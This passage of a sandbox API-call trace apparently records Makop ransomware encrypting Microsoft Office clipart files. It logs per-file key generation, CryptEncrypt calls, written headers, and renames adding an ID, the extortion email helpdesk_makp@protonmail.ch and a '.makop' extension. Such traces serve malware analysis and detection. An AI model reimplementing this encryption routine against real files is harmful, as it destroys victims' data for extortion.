lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b56, lpOverlapped=0x0) returned 1 [0134.142] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b60) returned 1 [0134.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4b60, lpOverlapped=0x0) returned 1 [0134.143] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.143] SetEndOfFile (hFile=0xf0) returned 1 [0134.151] GetProcessHeap () returned 0x48a0000 [0134.151] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.151] GetProcessHeap () returned 0x48a0000 [0134.151] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.151] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.153] CloseHandle (hObject=0xf0) returned 1 [0134.153] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1 [0134.153] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF") returned 63 [0134.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.154] GetProcessHeap () returned 0x48a0000 [0134.154] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.154] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0134.159] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.159] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.159] GetProcessHeap () returned 0x48a0000 [0134.160] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.160] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.160] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.161] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.161] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.161] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12a6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x12a6, lpOverlapped=0x0) returned 1 [0134.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12b0, dwBufLen=0x12b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12b0) returned 1 [0134.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12b0, lpOverlapped=0x0) returned 1 [0134.164] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.164] SetEndOfFile (hFile=0xf0) returned 1 [0134.170] GetProcessHeap () returned 0x48a0000 [0134.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.170] GetProcessHeap () returned 0x48a0000 [0134.171] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.171] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.171] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.208] CloseHandle (hObject=0xf0) returned 1 [0134.209] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1 [0134.209] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF") returned 63 [0134.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.210] GetProcessHeap () returned 0x48a0000 [0134.210] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.210] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.211] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0134.355] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.355] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.355] GetProcessHeap () returned 0x48a0000 [0134.355] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.355] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.356] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.356] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.356] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.356] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.357] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.357] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.357] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.357] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17be, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17be, lpOverlapped=0x0) returned 1 [0134.363] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17c0) returned 1 [0134.365] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.365] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17c0, lpOverlapped=0x0) returned 1 [0134.366] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.366] SetEndOfFile (hFile=0xf0) returned 1 [0134.372] GetProcessHeap () returned 0x48a0000 [0134.372] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.372] GetProcessHeap () returned 0x48a0000 [0134.372] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.372] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.374] CloseHandle (hObject=0xf0) returned 1 [0134.374] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1 [0134.374] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF") returned 63 [0134.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.376] GetProcessHeap () returned 0x48a0000 [0134.377] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.377] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.377] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.377] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0134.381] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.381] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.381] GetProcessHeap () returned 0x48a0000 [0134.381] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.381] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.381] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.382] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.382] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.382] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x37de, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x37de, lpOverlapped=0x0) returned 1 [0134.383] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x37e0, dwBufLen=0x37e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x37e0) returned 1 [0134.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.384] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x37e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x37e0, lpOverlapped=0x0) returned 1 [0134.384] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x38b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.384] SetEndOfFile (hFile=0xf0) returned 1 [0134.390] GetProcessHeap () returned 0x48a0000 [0134.391] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.391] GetProcessHeap () returned 0x48a0000 [0134.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.489] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.491] CloseHandle (hObject=0xf0) returned 1 [0134.491] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1 [0134.491] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF") returned 63 [0134.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.492] GetProcessHeap () returned 0x48a0000 [0134.492] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.493] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.493] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.493] GetProcessHeap () returned 0x48a0000 [0134.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.493] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.493] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.493] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.565] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.565] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.565] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.565] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.565] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.566] CryptSetKeyParam 